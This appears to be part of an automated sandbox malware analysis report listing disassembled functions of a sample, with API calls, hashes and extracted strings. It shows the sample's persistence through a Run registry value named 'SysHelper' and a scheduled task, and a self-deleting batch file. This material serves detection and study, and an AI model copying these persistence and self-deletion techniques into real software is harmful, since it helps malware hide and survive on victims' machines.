                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00412509
                                                                                                                                                                                                                                                                • CloseHandle.KERNEL32 ref: 0041251C
                                                                                                                                                                                                                                                                • CloseHandle.KERNEL32 ref: 00412539
                                                                                                                                                                                                                                                                • CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0041255B
                                                                                                                                                                                                                                                                • CloseHandle.KERNEL32 ref: 0041256E
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CloseHandle$CreateErrorLastMutex
                                                                                                                                                                                                                                                                • String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
                                                                                                                                                                                                                                                                • API String ID: 2372642624-488272950
                                                                                                                                                                                                                                                                • Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
                                                                                                                                                                                                                                                                • Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _strncmp
                                                                                                                                                                                                                                                                • String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
                                                                                                                                                                                                                                                                • API String ID: 909875538-2733969777
                                                                                                                                                                                                                                                                • Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
                                                                                                                                                                                                                                                                • Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1503006713-0
                                                                                                                                                                                                                                                                • Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
                                                                                                                                                                                                                                                                • Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • PostQuitMessage.USER32(00000000), ref: 0041BB49
                                                                                                                                                                                                                                                                • DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0041BBE4
                                                                                                                                                                                                                                                                • GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 0041BCD7
                                                                                                                                                                                                                                                                  • Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
                                                                                                                                                                                                                                                                  • Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
                                                                                                                                                                                                                                                                  • Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
                                                                                                                                                                                                                                                                  • Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
                                                                                                                                                                                                                                                                  • Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
                                                                                                                                                                                                                                                                  • Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
                                                                                                                                                                                                                                                                • IsWindow.USER32(?), ref: 0041BF69
                                                                                                                                                                                                                                                                • DestroyWindow.USER32(?), ref: 0041BF7B
                                                                                                                                                                                                                                                                • DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3873257347-0
                                                                                                                                                                                                                                                                • Opcode ID: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
                                                                                                                                                                                                                                                                • Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • DecodePointer.KERNEL32 ref: 00427B29
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427B42
                                                                                                                                                                                                                                                                  • Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
                                                                                                                                                                                                                                                                  • Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427B55
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427B73
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427B85
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427B96
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427BA1
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427BC5
                                                                                                                                                                                                                                                                • EncodePointer.KERNEL32(007F5220), ref: 00427BCC
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427BE1
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427BF7
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 00427C1F
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3064303923-0
                                                                                                                                                                                                                                                                • Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
                                                                                                                                                                                                                                                                • Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 00411BB0
                                                                                                                                                                                                                                                                • CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
                                                                                                                                                                                                                                                                • CoUninitialize.OLE32 ref: 00411BD0
                                                                                                                                                                                                                                                                • SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
                                                                                                                                                                                                                                                                • SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(?), ref: 00411C44
                                                                                                                                                                                                                                                                • GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
                                                                                                                                                                                                                                                                • String ID: \shell32.dll
                                                                                                                                                                                                                                                                • API String ID: 679253221-3783449302
                                                                                                                                                                                                                                                                • Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
                                                                                                                                                                                                                                                                • Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
                                                                                                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 004549FB
                                                                                                                                                                                                                                                                • GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
                                                                                                                                                                                                                                                                • GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
                                                                                                                                                                                                                                                                • GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
                                                                                                                                                                                                                                                                • _wcsstr.LIBCMT ref: 00454A8A
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
                                                                                                                                                                                                                                                                • String ID: Service-0x$_OPENSSL_isservice
                                                                                                                                                                                                                                                                • API String ID: 2112994598-1672312481
                                                                                                                                                                                                                                                                • Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
                                                                                                                                                                                                                                                                • Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
                                                                                                                                                                                                                                                                • GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
                                                                                                                                                                                                                                                                • __vfwprintf_p.LIBCMT ref: 00454B27
                                                                                                                                                                                                                                                                  • Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF
                                                                                                                                                                                                                                                                • vswprintf.LIBCMT ref: 00454B5D
                                                                                                                                                                                                                                                                • RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
                                                                                                                                                                                                                                                                • ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
                                                                                                                                                                                                                                                                • DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
                                                                                                                                                                                                                                                                • MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
                                                                                                                                                                                                                                                                • String ID: OPENSSL$OpenSSL: FATAL
                                                                                                                                                                                                                                                                • API String ID: 277090408-1348657634
                                                                                                                                                                                                                                                                • Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
                                                                                                                                                                                                                                                                • Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 004123B6
                                                                                                                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
                                                                                                                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 004123E7
                                                                                                                                                                                                                                                                • GetCommandLineW.KERNEL32 ref: 004123F4
                                                                                                                                                                                                                                                                • CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
                                                                                                                                                                                                                                                                • lstrcmpW.KERNEL32(?,?), ref: 00412422
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                • SysHelper, xrefs: 004123D6
                                                                                                                                                                                                                                                                • Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
                                                                                                                                                                                                                                                                • String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
                                                                                                                                                                                                                                                                • API String ID: 122392481-4165002228
                                                                                                                                                                                                                                                                • Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
                                                                                                                                                                                                                                                                • Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memmove
                                                                                                                                                                                                                                                                • String ID: invalid string position$string too long
                                                                                                                                                                                                                                                                • API String ID: 4104443479-4289949731
                                                                                                                                                                                                                                                                • Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
                                                                                                                                                                                                                                                                • Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 0040DAEB
                                                                                                                                                                                                                                                                • CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
                                                                                                                                                                                                                                                                • PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0040DC38
                                                                                                                                                                                                                                                                • CoUninitialize.OLE32 ref: 0040DC92
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
                                                                                                                                                                                                                                                                • String ID: --Task$Comment$Time Trigger Task
                                                                                                                                                                                                                                                                • API String ID: 330603062-1376107329
                                                                                                                                                                                                                                                                • Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
                                                                                                                                                                                                                                                                • Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
